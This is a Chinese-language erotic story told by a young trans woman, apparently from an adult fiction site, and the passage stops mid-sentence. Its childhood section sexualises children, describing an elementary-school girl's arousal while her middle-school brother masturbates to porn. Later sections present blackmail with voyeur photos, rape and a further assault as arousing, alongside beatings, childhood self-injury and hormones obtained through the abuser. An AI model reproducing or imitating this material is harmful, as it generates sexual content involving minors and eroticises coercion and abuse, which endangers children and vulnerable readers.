玩物[科学幻想]
無人的辦公室,男人有力的臂膀,將我的身子緊緊倚靠在他的身上。我那柔嫩的乳房跕在他地胸膛上,小腹則感受著那男性象徵逐漸硬挺的頂著。他強壯的臂膀環著我的腰,溫熱的鼻息吹過我的耳稍輕輕的撂動我柔順的髮絲。他的雙手很快的就滑落到我的屁股蛋上。「色鬼,這麼猴急阿!」我輕聲的抗議只是更加撩撥他的欲望。
玻璃窗帶進昏黃的燈光,我襯衫的鈕扣被他一一解開,紅色的褻衣下渾圓堅挺的C罩杯呼之欲出。男人的大手搓揉我的乳房,來自胸前的壓力使我輕吟著,他那不規矩的大手探入,用那厚繭摩擦我殷紅敏感的乳首。我的手也隔著西裝褲,輕重交雜的刺激著那嚇人的大陰莖。
我拉開了他的拉鍊,將那個男人的象徵從褲頭中給解放。「好大!」我輕呼了一聲,我的手指輕柔的撫摸著露出外面的它,情不自禁的蹲下身將它給含住。我慢慢的吸吮,感受那陰莖在我的嘴巴內跳動,我盡可能的努力讓我的舌頭滑過它那敏感的龜頭,沿著那繫帶慢慢將整個陰莖吞入,但最多也只含了一半吧。他抓著我的頭開始擺動著他的腰。每一次突進,都堵到我的喉嚨深處,然後又蠻橫的退出,就這樣來來回回的玩弄著我的口唇。
等到他退出我的小嘴,那陰莖上早就佈滿我晶瑩的口水,甚至還有好幾條絲線牽連著我的嘴角。我的唇再度重重印在那暗紅的龜頭上。我褪去身上的衣物,只剩下那設計過的內褲掩蓋我那不完美的下身。男人的臉上帶著淡淡地微笑,光是他的目光就讓我全身燥熱的發抖,他拉開我身上最後的布料,我羞恥的用手遮去已經春情氾濫的小縫,任他將我翻過身壓在辦公桌上。渾圓的乳房被擠壓成橢圓形,我的小穴被他雄偉的陽物給貫穿。早已經潤滑好的洞口,讓他的進入毫不費力。
我是陽物的俘虜,我叫小另,飢渴的渴求男人的寵幸。從國小開始,就希望當個能誘發男人獸性的女人。還記得醒悟那天,只有我跟念國中的哥哥在家。像似獻寶一般,哥哥打開電腦播放了A片給我看。不記得是什麼劇情了,只記得畫面一開始身穿輕薄褻衣的女優扭動著她勻稱美麗的身體,看著她趴在男人的胯下滋滋有味的含著那硬挺的陽具,男優的身體是那麼的健壯,稜角分明肌肉線條,讓人臉紅心跳,我想像著我幻化成了那美麗優雅的女優,盡心的為那男優服務。我羨慕那女優雪白的身軀,軟綿的胸部,以及閃著光芒的烏溜長髮。當女優跟男優交合,她發出那種欲仙欲死,嬌媚又淫靡的呻吟,一旁的哥哥忍不住褪下褲子,用手抽動他那堅挺剛長毛的陽具。而渾身發熱的我,悄悄的將目光移到哥哥的陰莖上,想像著用我的小嘴含住它。
那天之後,每到睡前我總是撫摸著自己那平滑的胸膛玩弄著我胸前的兩個小紅豆,想像著我正被一個男人抱著,任他輕薄我胸前的兩個小點,而我的手指則幻化成他的陽物在我的後穴進進出出的。可惜每當這時總會感受到我那小弟弟情慾高漲的硬挺起來,提醒我,我是男生這個事實。我討厭它,好幾次發狠想要將它除掉,但害怕從此不能尿尿讓我始終無法狠下心腸。於是我總是用力的捏住那淫棍下兩顆垂下的蛋蛋,讓他因為疼痛而軟下。我想要變成一個盡心服侍男人的女人。
每天揉捏睪丸,讓它失去了功能,我的第二性徵遲遲沒有出現,小弟弟比小指頭還要小。因為沒有發育,我永遠是班上最矮看起來最秀氣的男生,但反而讓我換上女裝後,就像是個真實的女孩。女裝打扮成了我夜深人靜候的休閒,網路的發達,訂購女裝、學習化妝連變性的資訊都能查詢得一清二楚。感謝當年媒體對COSPLAY的大肆宣傳,當我的化妝盒跟假髮、女裝被媽媽發現時,我說了句COSPLAY的用品就矇混了過去。
雖然身體停止了發育但青春期的肉體有著日益增加的欲望。那年我18歲,正是高三準備大考的日子,我開始在課後躲到公園內的公廁換上女服乘著昏暗的夜色走在公園內享受女裝的樂趣,從網拍購買的按摩棒深深地進入我的體內,想像著一群男人在這公廁內輪流玩弄我的身軀。淫蕩的想像讓我樂此不疲,每天總要在廁所內玩弄個把個小時才滿足的離開。穿著女裝在公廁內的胡來成了我可以逃避壓力的緩解。爸媽因為繁忙的工作東奔西跑,只要成績穩定也就任我自由了。就是在這個我經常變裝的公園裡,我認識了奪走我第一次的男人。
似乎是一個女生從男廁裡走出來的怪異現象讓他留了心,他觀察幾天後就開始了他的計畫。那天一如往常地,我走入最裡間的殘障廁所準備換裝,尾隨在我身後的他叫住了我。
「小女孩,今天比較晚喔!」
「你在說什麼阿?」
「別裝傻了小女孩,我每天都在期待著你的到來呢。」
我聽了他說的話感到很不安,匆忙的想要推開他離開這個地方。但他手上的照片卻讓我動彈不得。那是我的照片,還是我穿著女裝坐在馬桶上滿臉陶醉的用按摩棒刺激小菊穴的照片。我的腦袋發黑,居然完全沒有感覺到被人從上方給偷拍了。
「小美女,照片拍得還不錯吧。」
「你..想要我怎麼樣?」
「你乖乖聽我的話,我就不會對你怎麼樣,還會把照片都還給你。」
他命令我將衣服都給脫下,他打量著我蒼白又瘦小的赤裸軀體,口中喃喃的說著「還要改造一下!」,一邊將一個袋子交給我,命令我打開。袋子裡是一整套清涼的女裝。我猜測著他的心思,慢條斯理的扣上前陣子咬牙買下的義乳胸罩,感受胸前服貼的沈重感,接著換上他所準備的衣服。桃紅的襯衫背後卻被挖空了一塊,短得不能再短的牛仔褲露出我細心保養,修長雪白的長腿。他滿意的點點頭,我坐在馬桶上在他的注視下簡單的把自己的臉修飾得更秀氣更像女孩,最後再戴上黑色的長假髮。
完成一切動作的我坐在馬桶上,抬頭好好的注視著這個握有我秘密的男人。年紀四十幾歲的他身材些微的變形,滿臉的鬍渣,十足中年男子的形象根本不是我平常幻想中會出現的類型。但是他注視著我換裝的眼神,卻讓我心跳加速,有種說不上來的期待感。他的運動褲聳立成一個小帳篷,不用開口我也能感受到他的欲望。
「今天先讓你好好的含著他」,雖然早就幻想著能夠為男人服務,但我也不敢相信自己居然會要含住一個陌生人的陰莖。我就這樣坐在馬桶上看著他的褲子褪到膝間。黝黑的陽具在我眼前昂然聳立,頭前段散發出的尿騷味清晰的鑽進我的鼻腔內,我皺起眉頭,但已經沒有推縮的空間了。我先是輕輕的舔著帶有鹹腥味的龜頭,然後稍稍微的用嘴唇含住,品嘗令人作嘔的尿騷味。齒間傳來一陣陣的脈動,我的小舌頭緩慢的舔著龜頭中間的細縫,讓原本就勃起的陰莖在我嘴裡更進一步的漲大,感受到他因為我的伺候而感到滿足,我的小嘴讓他感到快樂。
我開始盡力的吞吐他的肉棒,指頭掐住那南傍国的根部,嘴巴吸吮著南傍国的頂端,滑嫩的小舌正狠狠的刮過他的馬眼。賣力的演出讓他發出滿足的低吼。「喔...小美女你的嘴巴...好厲害,好會吸...喔....」,我的表現讓他開始配合我擺動他的臀。每擺動一次,我的小嘴就被他更深入一些,我頻頻的想作嘔,但卻不讓他把動作放緩。喉嚨的不適讓我的眼淚不自主的滑落,眼球也不斷地往上飄。明明連他的名字都不知道,卻能從他劇烈的動作中自主的迎合著他的需求,我期待著用我的嘴巴迎接他心滿意足後的產物。
並未如我的預期,他選擇從我嘴中拔出把他的的精華撒在我臉上,甚至濺入了我的鼻腔。我將他那白濁的體液從臉上刮下來含到嘴裡。臉上掛著淚珠,嘴角的唾液混合著刺鼻的精液。我的臉上充滿了他的氣味,強烈的精液味侵蝕了我的思考力,只能無神的看著他,乖乖聽從他的命令將嘴中的液體咽了下去。我的順從讓中年男人很滿意,他用紙巾將我的臉自仔細的擦過,命令我跟隨他回家。
那男人要我叫他蔡叔叔,他的職業是什麼我不知道,只知道他有著不輸年輕人的體力與精力。我跟他回家就被他硬是壓在身下剝去我下身的衣物。雖然經常使用按摩棒擴充,但卻無法減輕菊穴被初次侵犯的疼痛,雖然叔叔有在我的菊門抹上厚厚的潤滑油,但比起我慣用的按摩棒還要粗大的下體深入腸道的劇痛,讓我不自覺高聲的喊叫,「好痛,不要進來...快住手...」小手奮力的推開他的胸膛想要掙脫他,但已經被他給掌握住節奏,隨著他的腰部規律向前擺動,我只能哭喊著承受這一切。像是野獸一般的交和,明明是個男孩卻被個男人舉高雙腿進行著傳宗接代的淫事。他換過了什麼技巧我不太記得,只有從每個不同深淺的抽插姿勢帶來的或大或小的疼痛,我那小小的陰莖在我兩身體中間悄悄的撒出些透明的體液。緊密的穴口,以及強暴的刺激,讓他擺動一陣子就將液體噴灑進我的體內深處,我掙扎的想脫離他,但卻雙腿無力的被他拉回了身邊。初次與男人交合的沒有想像中的溫柔對待,而是粗暴的獸性發洩,讓我不爭氣的低聲啜泣。
蔡叔叔強行把因為被強暴而淚流滿面的我抱在懷裡,他吻著我臉上的淚痕,撥開那被汗水弄濕的假髮,他濃烈充滿菸草味的鼻息就噴在我臉上。
「哭什麼,都被幹到噴精了,還哭...」他的手又是玩弄著我腹部上那點點的白液,又是伸到我那義乳底下挑逗我那紅色的小乳豆。在他懷裡的我雖然啜泣著,但是他的魔掌游走在我身上敏感的邊界,而且菊穴處濕濕滑滑的應該是他那體液正點滴的排出我的體外,他的大陽具還硬梆梆的抵在那邊。「你有著令人憐愛的本錢」、「屁股怎麼這麼翹這麼可愛」...蔡叔叔撫摸著我光滑的軀體,纖瘦的身材被他說得像是美若天仙,原本淒苦落淚的我也被奉承得收乾了眼淚。我的呼吸變得粗重,情欲一點一點的被撩撥了起來,我的小弟弟在蔡叔叔的手中逐漸的發硬,被他輕柔的上下搓弄。
「我最喜歡這樣弄像你這樣愛穿女裝的小變態了!你其實很想要被男人疼吧!小人妖~」蔡叔叔一邊說話,一邊用力握著我的小陰莖,性器敏感的我只能用嗚咽聲來回應他。「要不要蔡叔叔再來幹你阿...」我慌忙的搖搖頭,剛被撐開的菊穴還隱隱作痛著,實在是不想繼續承受了。但我還在搖頭的同時,穴口又被他那抹好潤滑劑的龜頭給撐開了。
雖然依舊感到疼痛,但被挑起情慾的身體讓我想要試著去配合著男人的律動。感受男人的粗狂與堅挺,我環住蔡叔叔的背,感受那陰莖在體內深處攪動。我的臉龐因為身體的擺動而發燙,聽著蔡叔叔邊姦淫我邊讚美我「你這個發浪的小妖精」、「小淫婦、小蕩婦」,我底下火辣的疼痛都可以當作沒什麼了。
「蔡叔叔,你會好好疼愛我嗎?」第二次完事後我依偎在他的胸懷裡,尋求他的憐惜。「你那麼乖,又聽話,叔叔當然疼愛你阿。」明知道只是甜言蜜語,但對著這個佔有我第一次的男人,我怎麼能不愛聽呢。原本就習慣從菊穴中尋找快樂,很快的就習慣了蔡叔叔火熱陽具的進入,每天放學後的翻雲覆雨變成了例行的公事。每次當他的龜頭狠狠刺激到我的前列腺時,就會聽到我拉出長音的呻吟。「叔叔好厲害,好大喔!!嗯...喔~~..」「要死了....小蕩婦快被叔叔幹死了...」每次被蔡叔叔幹著,平時文靜害羞的我總是不知羞恥的叫喊著淫蕩的話語。而且身體更是肆無忌憚的尋求更高層次的歡愉。
蔡叔叔每天都讓我服用雌激素跟豐胸霜,還在青春期的我只過了兩個月就不得不用布條把已經有小B的胸部給扎緊才敢去學校上課。女性荷爾蒙的威力在睪丸已經萎縮的我身上作用得很快,動作也越來越有女人味。我很享受胸部腫脹的感覺,尤其是敏感的乳頭被蔡叔叔含住的時候會讓我不自覺得淫哼。但在學校卻成了我的負擔,我不敢抬頭挺胸的走路,深怕被人看出端倪。但赫爾蒙影響的不只是胸部,連屁股的脂肪也多了不少,原本就翹挺的屁股,現在變得更是突出,走路一搖一擺的彷彿在誘惑著過往的男人,讓我開始承受了同學間暗示或明示的嘲弄我是個同性戀、變態等等。雖然有想過要不要拒絕吃藥,但是擁有個女性的身體是從小的夢想,怎麼會因為這樣就停下來呢,我忍受著,直到學測甄試過後就找藉口儘量不到學校去,反正怎麼算理想的大學是上定了。
學測後我幾乎是住進了蔡叔叔家,除非爸媽打電話來查勤了,才會心不甘情不願的回家住個幾天。我以女主人的身分在蔡叔叔家整理家務,為他準備餐點,像是小女人般等待蔡叔叔工作後回來,在家裡都沒這麼認真過呢。蔡叔叔也精力過人,每天總是要在我服侍下噴發個兩三次才肯罷休,我喜歡吞嚥精液,就算是被噴發到腸道裡我也會用手指頭把液體全部送回嘴裡去。蔡叔叔手機裡每天都能更新我吐舌舔弄精液的淫蕩表情呢。
學測後在蔡叔叔家胡混也有三個多星期,每天都期待下午蔡叔叔開門走進來。但是這天卻進來一個年輕男人,感覺大我個兩三歲,我們兩個大眼瞪小眼的互看著彼此。還是他先開口問我「我爸還沒回來嗎?」我點點頭回應他「你是蔡叔叔的兒子阿,我是...蔡叔叔的...女朋友,你好!」蔡叔叔的兒子就叫他小蔡吧,他聽到我是蔡叔叔的女朋友囁嚅的在嘴裡不清不楚的說了幾句,就跑回他的房間去,直到晚餐才出現。蔡叔叔很少提起他的過去所以我也不知道蔡叔叔居然曾經是有家庭的,還有著一個這麼大的兒子。或許是年紀相近,在餐桌上很快的我就跟他聊了起來,尤其我們愛看的漫畫又都相近,更是有了不少話題。從他口中提到的大學生活讓我羨慕不已,巴不得想要趕快展開我的大學生活。
小蔡讀北科二年級,因為新的打工地點就在家附近,就從學校宿舍搬回家裡住方便打工。多了一個人闖進我跟蔡叔叔的生活之間,雖然我倆都沒提起這件事情,但總是覺得彆扭不敢太過激烈的歡好,一天兩三次的性愛變成兩三天一次,雖然這樣對我的小菊穴來說也是種休息,但總是感到些許的欲求不滿。
那天中午因為整理家務弄得渾身大汗,我褪去全身的衣物只穿著件內褲就趴在地上擦地板,沒想到小蔡提早回來了,我趕緊套上在身邊的白色T恤往身上套。渾身汗濕讓T恤緊緊黏在我的身上,玲瓏曲線展露無疑。乳首激突著,像是恨不得所有人都注視著它。我卻無自覺得在小蔡面前走來走去。他嚥了好大一口口水,我才想起,我的雙乳正在他眼前不斷地晃動著,我連忙轉過身,但我的身子就被小蔡給抱住,我的雙乳被小蔡的大手給緊緊的掌握著,,他的粗重的鼻息把他那帶著汗味的雄性荷爾蒙噴到我身上,我的身體發燙,不難發現我欲求不滿的情慾已經被撩撥了起來,我帶著少許的理智哀求他,「別這樣,我是你爸爸的女人...放開我,拜託你...我們可以當作沒事的...」,但小菜無法克制的將我推倒在沙發上。
我的內褲被他撕開,我不可告人的男性象徵就疲軟的嶄露在他眼前,他頓了一下,卻沒有停手反而露出竊笑。「早就知道我爸喜歡看人妖A片,沒想到還真的讓他找到一個這麼極品的... 」「不要反抗,不然我會讓你知道我的厲害!」他甩了我一巴掌威脅我。小蔡把硬挺的陽具塞入我的口中我的口水好好潤滑了一番,就直接從我背後插了進來。又是刺痛又是麻癢,還為為乾燥的菊穴緊密的包覆住小蔡的大陰莖,我的腰肢被小蔡緊緊抓著,我的雙腳夾住小蔡的腰間,想要抵擋小蔡那豪不憐惜的用力撞擊。一次次深入的撞擊,正狠狠的侵擾著我的理智,但光有口水潤滑的菊穴根本不夠滑潤。「那邊的櫃子有潤滑油,請你去拿,我不會抵抗的」... ,不想要因為菊穴受傷而被蔡叔叔發現我被他兒子姦淫,我請求小蔡幫我潤滑菊穴。小蔡的陰莖跟蔡叔叔一樣大,但卻更長了一些,還微微彎曲著,每一次的抽差又都是從穴口直接往腸內深處鑽去,我感到我那敏感的前列腺次次都被狠命的刮過去。我無意識的抱著他口裡喊著叫著「你好厲害...把小另弄得好爽...好爽...」。我春情氾濫的任由小蔡在地上對我失暴,他的身子與我交疊,腰部動得更快了。被小蔡弄得快要失去理智的我,自己微張著嘴唇靠上小蔡那性感的唇邊,香舌微吐讓小蔡的舌頭將它捲去。
就算跟蔡叔叔歡愛再怎麼激烈,我都很少主動的將嘴唇給湊上去,但今天著了魔一般,我主動的跟小蔡索吻,還不斷的吸吮他分泌的唾液。小蔡把我翻過身讓我用狗爬式跟他做愛。一邊衝刺,一邊把我的屁股打得啪啪作響。「這麼圓的屁股,幹起來真爽」「蔡哥哥,你喜歡小另妹妹的屁股...就請哥哥幹用力一點...喔...喔...」小蔡順著我的願望更加用力的姦淫我,而我的小弟弟也被撞擊得不斷噴灑出淺白色的淫液。
「你這個人怎麼這麼淫蕩,不是我爸的女朋友嗎,怎麼被我幹還會爽上天阿?」小蔡壞心眼的邊把我幹得說不出話來,卻又說這樣的話來羞辱我。
「小另很淫蕩,就算是不認識的人幹小另,小另也會很爽!」明知道他在羞辱我,但我卻樂於被男人羞辱。
「你剛剛叫我哥哥,你是不是很想被你哥哥幹,你哥哥不幹你才來讓我爸爸幹阿...」
「小另小時候看哥哥打手槍,小另就會興奮得不得了...」
羞辱人的對話讓我的身體更是滾燙,而小蔡的大陰莖更是賣力的在我體內進出。「小蕩婦,你要我把精液射在哪裡阿?」「快射在妹妹嘴裡,妹妹吃掉哥哥的精液,才會越來越漂亮。」,小蔡很快的把他的大陰莖拔出來,直接往我的嘴巴裡送。早被蔡叔叔訓練過的深喉技巧仍舊無法容納小蔡那微彎的陰莖,他噴發出來的量好多又濃稠,我不住得嗆咳,咳到連鼻腔裡都緩緩流出乳白色的鼻涕,更別說嘴角早已掛滿口水跟精液的混和物了。
我用毛巾把臉上跟下身的穢物都給擦拭乾淨,默默的起身想要去沖個澡,但小蔡卻跟著我進了浴室。我跟他在浴室裡擁吻著,他輕柔的為我抹上沐浴乳,我在他的伺候下把身體洗乾淨,跟他一起泡在浴缸裡。我跟他說了我跟蔡叔叔相遇的經過,也說了些學校的遭遇,小蔡默默聽著,難得可以宣洩情緒的我抱在他懷裡哭泣著把情緒一股腦的宣洩出來。哭了好久,浴缸裡的水都涼了,我替小蔡把身體擦乾,告訴他「謝謝你聽我說這麼多,可是你也要知道我跟蔡叔叔也是有感情的,我不會因為你就跟他分開,所以你不可以把我們的事情跟他說!」小蔡答應我這件事情,但也要我允諾有機會就要跟他出門。我跟小蔡抓緊了每一分蔡叔叔不在的時間歡愛著,有幾次我去迎接開門進來的蔡叔叔時,還要死命夾著小蔡的體液,儘量不讓他們滑落。
不曉得是女性荷爾蒙的關係,或是白天、晚上輪流的被兩個男人姦淫的關係,我覺得我只要跟男人對上眼就會心跳加速,不管他是老的少的、還是胖的瘦的,走在路上就幾乎是不斷的處在興奮狀態。我苦惱的跟小蔡抱怨這件事情,但他卻笑著要我換上暴露的衣物跟他上街。
「你看,那個男人一直在看著你!好像在想怎麼會有女孩穿得這麼騷」我跟小蔡坐在鬧區路邊的長椅上,我上衣是一件小背心把我上半身的曲線嶄露無遺,下身的迷你裙短得要是不用手壓著,我的內褲就要露出來見人了。小蔡還不斷觀察著過往男人的目光,低聲向我說著不三不四的話語。我的小背心胸口開得很低,豐胸有成的胸圍乳溝清晰可見,我故意彎下上身調整腳上的高跟鞋,讓男人的視線能夠更加的深入,不知他們會不會興奮呢?小蔡這時還故意在我耳邊說:「你的乳房快掉出來啦,嘿嘿!好性感啊!」被他一說,明明就是令人感到很羞恥的事情卻又那麼令人心跳加速。雖然天色漸漸轉案,但市區的街燈和商舖的燈光仍就能夠讓人看進我衣服的深處。我的臉頰羞紅,也說不上是因為害羞或是想到被路過男人給視姦而興奮。
我們不只在一個地方小坐,而是在鄰近換過了兩三個地方,我被興奮的情緒弄得好疲累。鬧著要小蔡帶我回家,但好巧不巧小蔡打工的地方希望他能夠過去代班,我也沒硬留他就一個人搭公車回去。公車搖搖晃晃的,讓疲累的我很快就進入了夢鄉。或許是下午興奮了太久,我都夢到我被一群男人包圍著,除了鞋子我身上一絲不掛,坐在地上打開我的雙腿,任他們評論我的私處,任他們嘲笑我這個不男不女的身體。我一手握著自己的乳房,一手拿著大號的按摩棒在他們面前抽插著自己的菊穴,希望哪個男人能夠跳出來幫我,幫我這個淫蕩的身體得到高潮。但沒有人要幫我,還被他們羞辱要我爬過他們的跨下,舔著他們發臭的肛門。 夢只進行到這裡,公車的緊急煞車讓我從好夢中驚醒。睡昏頭的我看看窗外,才發現公車都已經開到郊區,我大大地坐過了頭。
我懊惱的下了公車,在個荒涼的公車站牌前一個人等著回程的公車到來。說是一個人也不對,不遠處的土地公廟有著三個衣著破爛的流浪漢正在那裡喝酒,高聲談話。那是舉目可見的唯一一個建築物,不難想像我當時的緊張。公車遲遲不來,我聽著他們的談話的聲音,思緒又想起了剛剛的那個夢境,我禁不住幻想要是我被那三個流浪漢抓住了,他們對我胡來的畫面。想著想著我那嬌嫩的乳頭都發硬了,小小地陰莖也興奮的分泌著體液。被淫慾控制的我不自主的往他們走去,假借問公車何時到站跟他們談話起來。那三人看到一個妙齡女子穿著清涼的與他們問話,一個個都看得眼睛發直,連聲說著公車可能要很久才會來,要我先在廟前坐坐。我故技重施,坐在椅子上彎下腰假裝揉揉穿著高跟鞋的腳踝,撩撥著他們的欲望。不過還沒能把他們誘惑到衝上來幹我不識相的公車就來了,只好搭車回到蔡叔叔家。當晚當然是奮力的把蔡叔叔的精液都給榨乾摟。
我身體的變化在這個暑假最後終於也藏不住,我在家洗澡換衣服的時候忘記鎖門,被闖進門的媽媽給發現了。媽媽打了電話給爸爸,爸爸一回到家就直接把我的衣服給扒光,也不讓我遮住前胸與私處,直接拿起一條皮帶對我一陣狠打。我無助的用雙手護著自己的頭臉,哭喊著,不斷道歉說著「對不起」。「賤人,好好的一個男人不當你要當女人。」、「你知不知道羞恥,你要你父母的臉往哪裡擺。」父親邊打邊罵,直到他打累了,我手抱著雙肩啜泣,在一旁哭泣的母親心疼的檢視我身上的傷痕,他邊撫摩著那一條一條腫脹的傷口邊問我「你為什麼要這樣做!你告訴我阿?說話阿?」,我打著哆嗦搖搖頭不敢說,但換來的又是爸爸一巴掌。「賤人,當女人也不算女人!你只是人妖你知道嗎?」,父親邊說話邊掐著我的乳房,「你哪裡來的錢去買這些豐胸產品我不管,但我明天會把你帶去醫院讓你變回男人來。」我被爸爸反鎖在房間裡,想到明天就要被爸爸帶去醫院我就急得跳腳。這時候媽媽似乎冷靜了一些,進到我房裡來,問了我許多的問題「你用藥會不會傷身體阿?」「為什麼想變成女生,跟媽媽說好嗎?」...媽媽連珠炮的問話讓我招架不住,邊解釋,眼淚邊不停的往下掉。不過不管我說些什麼媽媽總是連連搖頭,我們兩人在房裡就哭了一夜。
爸爸一大早就想拉我上醫院,但我就是死活不肯,於是我在度被爸爸用皮帶跟掃把柄給打得渾身是傷。身上的傷痕讓我足足修養了一個多星期,爸爸拉我去醫院不成,索性把我關在家裡不讓我出門,連眼看要開學了成也被爸爸去辦了休學。媽媽更請了長假,整天在家裡因為我的事情搖頭嘆氣,但我也倔強,毫不遮掩直接換上女裝跟他們大眼瞪小眼,直到在金門當兵的哥哥放返台假回家那天。他看到穿著女裝的我坐在客廳,整個人就呆楞在門口。哥哥雖然從電話中知道了我的事情,但第一次看到我女裝的裝扮,哥哥整個人還是不敢置信。「哥哥,你回來了喔?」我的呼喚把哥哥的神智給勾回來。「對…對…小另我回來了」,我的裝扮似乎很和哥哥的口味,他的眼神都不敢往我身上飄,只敢偷偷的打量我。我笑了笑就想要閃身回房,哥哥卻跟著我一起進房。
哥哥問了一堆媽媽問過我的問題。「小另,你吃藥多久了?」「8、9個月吧...」「印象中吃藥不是很好不是嗎?」「我其實遲遲沒有出現第二性徵,好像我的睪丸小時後被擠壓過已經沒有功能了,不會產生雄性賀爾蒙,查過資料這樣的我在用女性荷爾蒙對身體的傷害會小很多。」,我一一解答了哥哥的問題,甚至開玩笑的跟哥哥說反正他沒有交過女朋友,我可以給他抓一抓胸部讓他感受一下。哥哥沉默沒有說話,他把一張提款卡丟給我,跟我說「哥哥尊重你的想法,爸媽的觀念太保守很難改變,哥哥之前打工跟當兵存了十幾萬你拿去用,等一下哥哥帶你離開家,你就暫時先別回家了。有地方可以住嗎?」我點點頭,眼淚不自主的往下掉,哥哥沒有動作,也沒有再說話,只是拍拍我的頭,就出門了。
哥哥跟媽媽講了好久,接著就要我換上衣服跟他離開。第一次直接從家裡穿著女裝出門,感覺有點不習慣下意識的就勾著哥哥的手。哥哥不太習慣讓我勾著手一起走路,但很快的就覺得帶著我這麼可愛的女孩出門好像很風光,也就放鬆的隨我勾著他。「以前覺得你的行為舉止很娘泡,沒想到真的想變成女生耶!」哥哥的嘴裡吐不出象牙來,氣得我用拐子頂了他的腰窩一下,哥哥看我嘟著嘴,笑笑的摸摸我的頭,「這樣摸摸也不錯,還好妳夠可愛,不然我就會覺得噁心了!!」連稱讚我可愛也要嘴賤,但這樣也讓我的臉多了些笑容。餐點很快就吃完了,我氣氛又再度沉靜了下來。餐點很快就吃完了,我有點不捨得跟哥哥告別,我原本的手機被爸爸摔壞了,哥哥要我抄下他的電話有事情跟他聯絡。
那天,18歲的尾端,再過幾天就是生日,我離開了家,好幾年沒有再回去過。
我住在蔡叔叔家幾天,雖然蔡叔叔跟小蔡很歡迎我在他們家久住,但那種已經沒有其他地方可去的感覺還是讓我每天以淚洗面,我失落了快要一個星期,之後想想還是先去我要讀的學校附近找個地方住,並且打工賺學費,到時候想要復學也不用再換工作。我很幸運的在學附近找到一間美式餐廳的工作,下午5點才營業的餐廳忙到12點才關店,兩萬起薪又有供餐,很符合我的需求。美式餐廳大半的外國客人,讓我的英文也溜了不少。
蔡叔叔偶而會來中部找我吃個飯,看看我的情況,但我只有跟他保持著肉體的交合,從沒有拿過他的錢,連持續服用的女性荷爾蒙藥物也自己花錢購買。當然我淫亂的身體仍舊可望男人來滿足我,被小蔡撩撥起的暴露欲望,讓我在衣服的選擇上也越來越裸露了。小蔡說我的體態會散發一種從骨子裡散發出來的媚態,男人看到我就很難忍住想要與我交和的慾望。我算是贊同他的描述,畢竟我從國小開始就不斷學習AV女優們勾引男人的各種體態咩。
我們餐廳的制服是仿照國外啦啦隊的服裝設計,緊身的熱褲還有完全服貼的緊身低領T恤,把我的好身材給顯露無遺。每當我彎腰為客人服務時,我的乳溝也豪不遮掩的讓客人們大飽眼福。兩個多月的時間,生活的步調穩定了,也新認識了不少的朋友,不過都幾乎是同事或是常客啦。那天我與同事Cindy承受不住一群老外死纏爛打的邀約,答應下班後跟他們一起開Party。我們在motel裡面狂歡,60吋的大電視播放著他們自己混音的電子音樂,我跟Cindy被男人的包圍在中間,互相扭動著屁股貼面跳著性感撩人的舞姿,接過一杯又一杯的香甜調酒,我整個人暈呼呼的轉個不停。我被兩個白人包夾在中間,逼著分開不小心的一個踉蹌就往眼前的男人胸膛靠上去,手也不經意的摸到他的褲縫中間。我對著他傻笑,手卻沒有離開反而大膽的用手指滑過他的陰莖,感受這個男人分身的威猛。我的翹臀被另一個男人的大手給掌握著,他的下半身緊緊貼著我屁股的那條裂縫,隔著褲子還是能夠感受到他的陰莖硬挺著。男人拉開我那緊身的上衣,他的大嘴含住我的乳房,我抱著他的頭發出淫穢的呻吟。而我身後的男人把魔爪往我的私密處伸去。
我的小分身被男人握住,他驚呼了一聲「What’s that?」他的呼喊引起大家的關注,另外兩個包夾Cindy的老外也把眼神望向了我。「she…she have a cock… 」男子比著我大喊,我無奈的看著他們,其實要參加這個party之前我就知道會有這樣的事情了,雖然同事們都知道我的身份,但在Cindy面前被男人這樣比著我大喊,還是感到火燒般的羞辱。「Uh , look like I’m an unwelcome person ,ok i will go out here.」說完我就想去拾起被丟在一旁的上衣。但原本吸吮著我胸部的老外卻抱住了我不想讓我離開「Don’t , little girl ,don't leave us , we are appalled. That you are so beautiful does,t it guys ?」小小地插曲破壞了原本的氣氛,雖然男人們向我道歉,但感到被羞辱的我還是想要離開。
「Ring,別這樣嘛,人家也不是有意的,也跟你道歉了阿。」Cindy叫著我的英文名字,勸我留下。被她這樣勸說著我才點點頭繼續留下。我坐在沙發上,被吸吮我胸部的男人Sam摟著腰調情著,而Cindy因為挽留我有功則又被多灌了好幾杯酒,正躺在床上被兩個男人給包夾著肆意的愛撫。而那個大驚小怪的男人Alex端了杯調酒給我,露出歉意的笑容。「I thinkI shouldaccept your apology ?」我笑著街過了他遞過來的酒杯。Alex笑笑的聳聳肩,這時Sam的魔爪再次襲上了我的胸部,「hey , do some thing fun ~ like them, hmmm? 」Sam沒有等到我的回應就再度跟Alex配合著把我剝得精光。
Sam壓在我身上,與我唇齒相碰舌頭交纏著,而Alex則用沾濕酒水的手指挑弄我的小菊穴。他們把沙發攤成一張床墊,讓我躺在上面享受著Sam高超的舌技,Sam的舌頭勾引著,挑逗著,我被他他親得渾然忘我,加上後面又被Alex玩弄,我不自覺得開始撫摸自己的小陰莖。我一手抓著Sam的大陽具一手自己玩弄著自己的小陰莖,我的後庭被Alex給撞了進去。這個色老外不知道何時已經抹好了潤滑油,他的陽具好燙,讓我狠狠的抽搐了一下,嘴巴被Sam給封住,連叫都叫不出來。
Sam看Alex搶去我下面的淫洞,於是把他的陰莖灌入了我的嘴巴,一前一後的兩個人,把我幹得嗚嗚亂叫。兩個男人像是說好了一般,比賽似的操著我上下的洞穴。我聽見Sma他輕輕地呻吟,他捧著我的臉,屁股一挺一挺的往我嘴里送,他抱住我的頭用力往我嘴里抽插,像是幹著女人的小穴一般,他一挺屁股直直的頂到我的喉嚨,我想嘔吐但不願放棄舔食大雞巴的機會。每一次挺進,他淡金色的陰毛就會服貼的搭在我臉上。而Alex的表現也很棒,每一次的進出都會狠狠的提醒我他的存在。我的腰肢隨著他的進攻而拋動,B 